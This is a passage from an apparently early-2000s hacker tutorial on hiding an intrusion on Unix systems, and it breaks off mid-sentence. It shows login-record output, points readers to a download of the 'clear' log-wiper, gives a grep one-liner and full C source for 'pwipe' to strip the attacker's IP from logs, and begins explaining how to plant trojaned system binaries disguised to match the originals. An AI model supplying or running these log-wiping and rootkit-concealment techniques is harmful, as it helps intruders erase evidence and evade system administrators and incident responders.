root tty2 Thu Jan 31 09:09 still logged in
root tty1 Thu Jan 31 08:49 still logged in
runlevel ~ 2.4.16 Thu Jan 31 08:49
reboot ~ 2.4.16 Thu Jan 31 08:49
shutdown ~~ 2.4.16 Thu Jan 31 08:32 - crash (00:16)
runlevel ~ 2.4.16 Thu Jan 31 08:32
root tty1 Thu Jan 31 08:32 - 08:32 (00:00)
root tty1 Wed Jan 30 09:56 - 10:16 (00:19)
~etc.
wtmp begins Fri Nov 23 21:00:16 2001
# _
----------
The difference between utmp and wtmp file format is that wtmp includes
the '~' and '~~' which indicate shutdown or reboot respectively.
3.4 LASTLOG
'lastlog' contains records containing information about the last time
users logged in. A sysadmin might use this command to see for which users
shell access can be safely disabled.
----------
# lastlog_
Username Port From Latest
root tty2 Thu Jan 31 09:09:12 +0100 2002
bin **Never logged in**
daemon **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
nobody **Never logged in**
named **Never logged in**
l.torvalds pts/3 Sun Jan 6 21:48:35 +0100 2002
b.gates **Never logged in**
a.cox pts/5 Sat Jan 2 09:05:01 +0100 2002
r.stallman pts/1 Tue Dec 17 14:52:43 +0100 2001
# _
----------
All this information is extracted from the lastlog file.
3.5 Using logwipers
Okay, it's obvious that you need to remove the traces from the utmp, wtmp,
lastlog, utmpx, wtmpx etc. logfiles that may exist on *nix systems.
There are log-wiper tools available like cloak, zap and clear.
We will use clear for the job, because it is hard to detect a logfile was
manipulated when it is used.
So download clear13.tgz, it is here:
[url]http://www.thehackerschoice.com/releases/thc-uht1.tgz.[/url]
This package contains clear13.tgz among other quite good unix hacking
tools.
Clear 1.3 consists of two programs, one for removing only the last entry
of the user and one for removing all appearances of the user. Set the
right path to wtmp, utmp, lastlog, wtmpx, utmpx or those that exist by
editing the #define's in the sources.
Using /etc/syslog.conf you can probably find out where they are.
3.6 Other logs
If you have read syslog.conf carefully, you noticed that there are more
logs than wtmp, utmp etc. These other logfiles are most likely plain
text, and their records seperated by newlines.
They also have to be manipulated, as they may also contain traces of
your activity.
You also have to remove traces from webserver logs, ftpd xfer logs,
sendmail logs etc, etc.
{
Warning (once again): *NOT ALL LOGS ARE MAINTAINED BY SYSLOGD*
So find them!
}
3.7 Wiping the plaintext logs
I've written a plain-text logwiper, because I felt like it.
It works pretty much like:
# grep -v <entry-to-remove> <logfile> > /tmp/a ; mv /tmp/a <logfile> ; rm -f /tmp/a
The <entry-to-remove> might be your ip-address, in that case... all
entries containing your logged ip-address are removed.
My tool works like this:
-------------------
Compile:
# gcc -o pwipe pwipe.c
Syntax:
# ./pwipe <pattern> <logfile>
e.g.:
# ./pwipe '10.0.0.1' /var/log/httpd/access_log
-------------------
It removes the lines from <logfile> which contain <pattern> (Yeah I know
it's simple).
That's all.
--- start-of pwipe.c ---
/*
* Plaintext Log Wipe v1
* 02-08-2002 XT [DuHo] [MM-DD-YYYY]
*
* Removes lines containing <pattern> from <logfile>.
* Useful for removing IP-addresses from logfiles for example
*
* Usage:
* gcc -o pwipe pwipe.c
* ./pwipe <pattern> <logfile>
*
* ex.
* # ./pwipe '192.168.1.231' /usr/adm/messages
*
* I, nor DUHO is responsible for any damage you might bring to a system
* using this tool!
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[])
{
FILE *fp;
long fsize;
long i;
char *src;
char *dest;
char version[] = "Plaintext Log Wiper v1.0 by XT [DuHo]";
printf("%s\n\n", version);
if (argc<3)
{
printf("Syntax: %s <pattern> <logfile>\n", argv[0]);
exit(0);
}
// open file read-only
if ((fp = fopen(argv[2], "r"))==NULL)
{
fprintf(stderr, "Unable to open %s\n", argv[2]);
exit(1);
}
// Is there any more direct way to determine filesize?
fseek(fp, 0L, SEEK_END);
if ((fsize = ftell(fp))<1)
{
fprintf(stderr, "%s is empty or an error occurred\n", argv[2]);
exit(1);
} else
rewind(fp);
// allocate enough memory
src = (char *) malloc((size_t)fsize);
dest = (char *) malloc((size_t)fsize);
// select lines to remove
for (i=0;(fgets(src, fsize, fp))!=NULL;)
{
if ((strstr(src, argv[1]))==NULL)
{
strncat(dest, src, (size_t)fsize);
} else
{
printf("Selected: %s", src);
++i;
}
}
// reopen file write-only
if ((fp = freopen(argv[2], "w", fp))==NULL)
{
fprintf(stderr, "\nUnable to open file %s for writing\n", argv[2]);
exit(1);
}
// write new logfile to disk
if (fputs(dest, fp)<0)
{
fprintf(stderr, "\nUnable to overwrite file %s\n", argv[2]);
exit(1);
} else if (i>0)
printf("\nSuccesfully removed %d %s!\n", i, i==1 ? "log-entry" : "log-entries");
else
printf("\"%s\" not found in %s\n", argv[1], argv[2]);
fclose(fp);
exit(0);
}
--- eof ---
4. Installing rootkits
Rootkits are used to circumvent logging, hide processes, create
backdoors, hide files and directories.
When a rootkit system is installed correctly, the attacker is completely
invisible for sysadmins through regular tools.
4.2 Trojaned binaries
The most common kind of rootkit trojans binaries. Original programs like
ls, find, ifconfig, ps, top, netstat, etcetera are replaced with trojaned
ones. These trojaned versions hide specific information.
In case of 'ls' and 'find' it will hide certain files or directories
{
which is used for example to hide the directory containing the
attackers' toolbox and gathered information (login credentials
etc.)
}
In case of ifconfig it will hide the PROMISC flag for a network interface
in case a sniffer runs.*(i'll get back on this)
In case of ps and top it will hide processes, like password crackers,
network sniffers, attackers' login process.
In case of netstat it will hide connections and backdoor-servers.
When you have installed the rootkit, check if the creation and
modification date is the same as the original, so it will be harder to
see it's not a legitimate binary. You can also use a file resizer to
change the size of the trojaned binary to that of the original.
Allright, the trojaned binary is obviously bigger than the
original, but you can strip symbols from the trojaned one using
'strip', and then pad it with garbage till it is exactly the same size
as the original for example, or use your assembly skills to shrink it.
But then still you can't do much against programs like tripwire.
{
Programs like tripwire use cryptographic hash signatures that can
verify if a binary is legit.
}
4.3 Kernel modules
An alternative to trojaned binaries are loadable kernel modules. Kernel
modules work like device drivers at kernel level, and are